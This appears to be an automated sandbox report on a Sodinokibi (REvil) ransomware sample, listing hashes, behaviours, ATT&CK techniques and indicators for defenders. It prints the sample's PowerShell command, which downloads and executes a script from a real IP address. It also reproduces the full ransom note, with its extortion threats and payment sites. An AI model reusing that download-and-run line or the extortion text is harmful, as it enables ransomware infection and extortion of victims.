sodinokibi | a80c7d0195818572a4440425811e01f0f8259566df0d77c4ef7a928c64de77ce

General

Target

1c69f4f012b140cb5a8804fe58a41126.bat
Size

221B
MD5

88eb700e439d918adcecb389a5bcf6b8
SHA1

905eec03268857b86e52a8510eb71ca499d75361
SHA256

a80c7d0195818572a4440425811e01f0f8259566df0d77c4ef7a928c64de77ce
SHA512

6c1bbe97ea867f670d521a108db6fb0cbde85c34d10b53746b16514eaa58f8e96166e105a2d4d75bfe505af85635e4670bfbdf89f0789bfa5cebdc4bf53a4755

Score

10^/10

ransomware persistence sodinokibi

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/1c69f4f012b140cb5a8804fe58a41126

Extracted

Path

C:\wy9214j-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension wy9214j. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] WE ARE READY TO PUBLISH UR DATA TO PUBLIC ACCESS IF YOU NOT CONTACT US (USE TOR BROWSER TO VIEW) http://dnpscnbaix6nkwvystl3yxglz7nteicqrou3t75tpcc5532cztc46qyd.onion/posts/140?s=61908812b95c5ff1176e968733afaf55 [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/DE4A73E969A070B8 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/DE4A73E969A070B8 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 90V+CYoe3Ib/UdasyWj7P4gV84Ata7JgcC7foUzTAGwCHsWQHF/DGCAmSR/xiAkU IPwB49qVgp5DRdhXbUR8W0oa1Y6Lv6xws/q5sk5nYwCCytkc5f9xJD+yncsu0XM5 QuFFgdmp7BVGjjHUsGrNmgKLuqlelboyYKshAdeS2Lyo7UuUHK7Klthz+hgNiSXg F3G6oeg/HZW/bfado5qwkVcXwLjAE2RzJtolhFtadwOMz1BMXKiEmNI2xvggHdUu jBv2qAjY7HSmtIDor/APVFGOOE1FXl3LL4kTv+P1MpYzoYL2FAZWZH2drEPuTpbf g60Yt9/fAy8cbG4CVe5EbPgE616hwg7Fh6WNln3kzzA0Z6ohxFC7rG9SGvSSaLX7 VZ65AgggVKn92oS9i0Peq3nusyX31rHfAF931X6xIs7wLISxolFjxZtPzlCqUMjB MFZqkHntSqlO9pANP9fJUEuZvtX1FhNoX/fbYXGKn9bISEyo31tTOhAqashlfZEV gGmkHqtpa5gVb/pQ1Sx86cZ0kdzJcv+8rfsoVtgD5WP+EvgRBF8cv6M5awVVElyf Auhqi6SYC/EJ7IK2Oo/bfZPuIIm0GD9g/5mpHOsW81u7Q/Huf92J6Bb7Hqw/Glw7 KSgICkDeenY3zRwxoMisWNoYzoIIUquAyNQ+0WosdS3gvkk5+Ufu8S7p/jXScc7R ut6zex0zL4SH+l8vCQHCqRSUunHdZWJ8f6KmXRr0o2AADXXc0g99g/5Sq7xTou7e 1arqwKI6DgFh9VpEXyGhmoGaoe3DJRf7YNRFNcGf+5zbLexPxLCRvQ6kRSj6pkrU L3S/uTuFv7NQXQCljlopJIeWUoRh7CXopI63M9FuaRlUVETdOZVGjuUOBdaVq49c CkgXHKaYMpx6QTP6rGv1X+aAEBpnicr7EDemzSoFziEswq84sFX/YGflTkZlVGsR bJCFHFSU8FkXFb4KXrBJMmyLcJjHLGoSkZUBZAahJLvFd3cZ8iamus8wBV5IFzFs tlLnf3jfjf3qu1tR/PmH1jACH7Jb+adwsdhb6MlvJmFfJN/s07zsz1c90pZ5vRej zlQOAtDOfpWhAUjr0GMHFp1eivUI2L08GUf/JecNKBUNvfX2injsoNITkUq5KIxP bEonbnPSJ072X5GZbcsWLa5RGu3F3vbVesQeYycDEme5o+BS1F5qrpvIGzEWsMFl sD2QltrfA9yloutjad4jBdWKOe5OmsnlumzTkNa0e4d2nlhUaEEuC6XJv7/wfgGG 8wt0WBTVBtUXR7IFsR9DmucH ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/DE4A73E969A070B8

http://decryptor.cc/DE4A73E969A070B8

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

1 4032 powershell.exe

flow	pid	process
1	4032	powershell.exe

Modifies extensions of user files 5 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\users\admin\pictures\SetMerge.tiff	powershell.exe
File renamed	C:\Users\Admin\Pictures\ConnectDebug.crw => \??\c:\users\admin\pictures\ConnectDebug.crw.wy9214j	powershell.exe
File renamed	C:\Users\Admin\Pictures\SetMerge.tiff => \??\c:\users\admin\pictures\SetMerge.tiff.wy9214j	powershell.exe
File renamed	C:\Users\Admin\Pictures\UnregisterOpen.crw => \??\c:\users\admin\pictures\UnregisterOpen.crw.wy9214j	powershell.exe
File renamed	C:\Users\Admin\Pictures\WriteConfirm.raw => \??\c:\users\admin\pictures\WriteConfirm.raw.wy9214j	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Modifies service 2 TTPs 5 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5}	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1307s3kuj.bmp"	powershell.exe

Drops file in Program Files directory 28 IoCs

Processes:

powershell.exe

description	ioc	process
File created	\??\c:\program files (x86)\wy9214j-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\FormatExport.ppsx	powershell.exe
File opened for modification	\??\c:\program files\ReceiveMount.dwfx	powershell.exe
File opened for modification	\??\c:\program files\RestoreResize.htm	powershell.exe
File created	\??\c:\program files\wy9214j-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\NewUse.aif	powershell.exe
File opened for modification	\??\c:\program files\ResetDismount.rmi	powershell.exe
File opened for modification	\??\c:\program files\ResizeSelect.svgz	powershell.exe
File opened for modification	\??\c:\program files\SuspendUninstall.pcx	powershell.exe
File opened for modification	\??\c:\program files\ExitUnprotect.au	powershell.exe
File opened for modification	\??\c:\program files\CloseRead.raw	powershell.exe
File opened for modification	\??\c:\program files\ConvertStep.jpeg	powershell.exe
File opened for modification	\??\c:\program files\PushGrant.bmp	powershell.exe
File opened for modification	\??\c:\program files\AddReceive.pot	powershell.exe
File opened for modification	\??\c:\program files\ResumeSync.dwfx	powershell.exe
File opened for modification	\??\c:\program files\RepairConnect.jpe	powershell.exe
File opened for modification	\??\c:\program files\InvokeWait.vbe	powershell.exe
File opened for modification	\??\c:\program files\SelectConnect.M2V	powershell.exe
File opened for modification	\??\c:\program files\SelectPublish.bmp	powershell.exe
File opened for modification	\??\c:\program files\ConnectRemove.temp	powershell.exe
File opened for modification	\??\c:\program files\ExportUpdate.wvx	powershell.exe
File opened for modification	\??\c:\program files\SearchResize.m4a	powershell.exe
File opened for modification	\??\c:\program files\ExpandExport.shtml	powershell.exe
File opened for modification	\??\c:\program files\SendLimit.ttf	powershell.exe
File opened for modification	\??\c:\program files\SendSuspend.vsdx	powershell.exe
File opened for modification	\??\c:\program files\ShowStart.vb	powershell.exe
File opened for modification	\??\c:\program files\DenyTest.css	powershell.exe
File opened for modification	\??\c:\program files\ConvertFromLock.wvx	powershell.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exe

pid process

4032 powershell.exe
4032 powershell.exe
4032 powershell.exe
4032 powershell.exe
4032 powershell.exe

pid	process
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	4032	powershell.exe
Token: SeDebugPrivilege	4032	powershell.exe
Token: SeTakeOwnershipPrivilege	4032	powershell.exe
Token: SeBackupPrivilege	1736	vssvc.exe
Token: SeRestorePrivilege	1736	vssvc.exe
Token: SeAuditPrivilege	1736	vssvc.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 3980 wrote to memory of 4032	3980	cmd.exe	powershell.exe
PID 3980 wrote to memory of 4032	3980	cmd.exe	powershell.exe
PID 3980 wrote to memory of 4032	3980	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1c69f4f012b140cb5a8804fe58a41126.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3980

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/1c69f4f012b140cb5a8804fe58a41126');Invoke-QVZIJBUKUSJYIH;Start-Sleep -s 10000"
2⤵
- Blacklisted process makes network request
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4032

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1736

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

memory/4032-0-0x0000000000000000-mapping.dmp

Download
memory/4032-1-0x0000000074030000-0x000000007471E000-memory.dmp

Filesize
6.9MB

Download
memory/4032-2-0x0000000006F80000-0x0000000006F81000-memory.dmp

Filesize
4KB

Download
memory/4032-3-0x0000000007680000-0x0000000007681000-memory.dmp

Filesize
4KB

Download
memory/4032-4-0x00000000075E0000-0x00000000075E1000-memory.dmp

Filesize
4KB

Download
memory/4032-5-0x0000000007D70000-0x0000000007D71000-memory.dmp

Filesize
4KB

Download
memory/4032-6-0x0000000008030000-0x0000000008031000-memory.dmp

Filesize
4KB

Download
memory/4032-7-0x00000000080A0000-0x00000000080A1000-memory.dmp

Filesize
4KB

Download
memory/4032-8-0x0000000007FC0000-0x0000000007FC1000-memory.dmp

Filesize
4KB

Download
memory/4032-9-0x0000000008900000-0x0000000008901000-memory.dmp

Filesize
4KB

Download
memory/4032-10-0x00000000086E0000-0x00000000086E1000-memory.dmp

Filesize
4KB

Download
memory/4032-11-0x0000000009E90000-0x0000000009E91000-memory.dmp

Filesize
4KB

Download
memory/4032-12-0x0000000008A50000-0x0000000008A51000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads